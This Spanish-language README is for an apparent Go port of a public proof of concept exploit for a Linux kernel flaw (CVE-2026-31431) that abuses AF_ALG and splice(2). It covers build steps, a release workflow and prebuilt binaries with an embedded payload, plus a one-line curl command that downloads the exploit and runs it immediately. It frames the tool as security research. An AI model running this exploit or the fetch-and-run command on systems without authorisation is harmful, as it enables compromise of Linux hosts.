
Prueba de concepto estática en Go para CVE-2026-31431, que aprovecha Linux AF_ALG y splice(2) para desencadenar la vulnerabilidad. Proporciona binarios precompilados para amd64, arm64 y 386.
Este repositorio contiene un port a Go de la prueba de concepto pública en Python de
theori-io/copy-fail-CVE-2026-31431.
El programa es solo para Linux. Utiliza la interfaz AF_ALG de Linux, mensajes de control
AEAD y splice(2) para preservar el comportamiento del PoC original mientras
se compila como un pequeño binario estático en Go.
Las compilaciones de lanzamiento se generan para:
linux/amd64linux/arm64linux/386Cada binario incorpora un ELF de carga útil para la misma arquitectura de destino.
Las compilaciones para macOS y Windows no se publican intencionalmente porque el PoC depende de interfaces del kernel específicas de Linux.
Los lanzamientos etiquetados publican binarios estáticos comprimidos y un manifiesto de sumas de verificación:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSVerifique un artefacto descargado con:
sha256sum -c SHA256SUMS
Requisitos:
Compile la arquitectura del host actual:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Compilación cruzada para un destino Linux:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
Los valores GOARCH compatibles son amd64, arm64 y 386.
Ejecute las pruebas:
go test ./...
go vet ./...
Las pruebas solo cubren la lógica auxiliar no destructiva. No ejecutan la ruta de activación del PoC.
Ejecute el binario en un sistema Linux que le pertenezca o para el que tenga autorización explícita de prueba:
./copy-fail-poc-linux-*
Descarga y ejecución de lanzamiento en una sola línea:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
El comportamiento depende del kernel de destino y de la configuración local del sistema. El binario no garantiza una explotación exitosa en todos los sistemas Linux.
El flujo de trabajo de GitHub Actions se ejecuta en etiquetas que coinciden con v* y también se puede iniciar
manualmente desde la pestaña Actions.
Cree un lanzamiento:
git tag v0.1.0
git push origin v0.1.0
Para compilaciones con etiqueta, el flujo de trabajo crea un lanzamiento de GitHub y sube los
artefactos de Linux más SHA256SUMS. Para ejecuciones manuales, los artefactos están disponibles desde la
ejecución del flujo de trabajo.
Este proyecto se proporciona únicamente para investigación de seguridad autorizada, validación defensiva y revisión educativa. No lo ejecute en sistemas que no le pertenezcan o para los que no tenga permiso explícito de prueba. Usted es responsable de cumplir con todas las leyes, contratos y políticas aplicables.
theori-io/copy-fail-CVE-2026-31431